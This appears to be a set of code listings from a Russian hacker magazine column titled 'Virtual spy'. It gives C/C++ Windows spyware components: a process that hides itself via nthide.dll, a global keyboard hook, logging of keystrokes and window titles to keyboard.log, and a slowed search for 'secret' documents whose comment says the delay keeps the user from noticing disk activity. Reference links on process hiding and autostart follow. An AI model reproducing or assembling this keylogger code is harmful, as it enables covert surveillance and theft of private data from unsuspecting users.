Виртуальный шпион Tony (porco@argentina.com) Спецвыпуск: Хакер, номер #060, стр. 060-058-6 bool IsProcessRunning( char * pName ) { strlwr( pName ); HANDLE snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 pe; char pExeName[256]; for( BOOL r=Process32First(snapshot, &pe); r; r=Process32Next(snapshot, &pe) ) { strcpy(pExeName, pe.szExeFile); strlwr(pExeName); if( std::string(pName)==pExeName ) { CloseHandle(snapshot); return true; } } CloseHandle(snapshot); return false; } Листинг "Игра в прятки" ТИП: Листинг //Прототип функции HideProcess из NtHide typedef BOOL (CALLBACK* tNTHIDE)( HWND hwnd ); tNTHIDE ntHide; //Создаем окно без стиля WS_VISIBLE gHWnd = CreateWindowEx (0, "Spy", "Spy", WS_POPUP | WS_THICKFRAME, 0, 0, 100, 100, NULL, NULL, hInstance, 0); //Динамически подгружаем библиотеку NtHide HMODULE module = LoadLibrary("nthide.dll"); ntHide = (tNTHIDE)GetProcAddress( module, "HideProcess" ); //Прячем процесс ntHide( gHWnd ); //Устанавливаем хук InstallHook( gHWnd, WM_HOOKED_CHAR ); // Цикл сообщений while (GetMessage(&msg, NULL, 0, 0)) { HWND currentHWnd; currentHWnd = GetForegroundWindow(); if( currentHWnd!=gActiveWnd ) { gActiveWnd = currentHWnd; FILE * file = fopen("keyboard.log","a"); char str[256]; GetWindowText( gActiveWnd, str, 256 ); fprintf( file, "\n[%s]\n", str ); fclose(file); } DispatchMessage(&msg); } //Убираем хук UninstallHook(); Листинг "Постановка хуков" ТИП: Листинг //Устанавливает хук //hWnd - дескриптор окна управляющего приложения //InterceptMsg – сообщение, которое будет посылаться управляющему окну по приходу перехватываемого сообщения bool InstallHook (HWND hWnd, UINT InterceptMsg) { if (hWnd == NULL) return false; //Запоминаем дескриптор окна управляющего приложения gParentWnd = hWnd; gInterceptMessage = InterceptMsg; //Устанавливаем хук gMsgHook= SetWindowsHookEx( WH_GETMESSAGE, KeyboardMsgProc, gInstance, 0 ); //Если не удалось установить хук, то возвращаем ошибку if (gMsgHook == NULL) return false; return true; }; //Убирает ранее установленный хук bool UninstallHook() { //Удаляем хук UnhookWindowsHookEx (gMsgHook); gMsgHook = 0; return true; }; Листинг "Поиск файлов" ТИП: Листинг HANDLE searchContext; WIN32_FIND_DATA findData; searchContext = FindFirstFile( "C:\\Мои документы\\*Секрет*.doc", &findData); while( FindNextFile( searchContext, &findData ) ) { //В переменой findData.cFileName мы имеем полное имя и путь искомого файла //Ставим задержку, чтобы пользователь не заметил активного "шуршания" диска Sleep(1); } FindClose( searchContext ); Полезные инструменты ТИП: WWW www.safety-lab.ru www.securitylab.ru/analytics/216398.php www.zlib.net www.rsdn.ru/Forum/Message.aspx?mid=696284&only=1 Автозапуск ТИП: WWW www.osp.ru/win2000/2003/01/060.htm msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthn/security/winlogon_and_gina.asp Теория и практика пряток ТИП: WWW http://subscribe.ru/archive/comp.soft.prog.visualc/200507/09154658.html#4 www.securitylab.ru/contest/212106.php www.wasm.ru/article.php?article=1021007#p2_6_3 www.wasm.ru/article.php?article=hiddndt |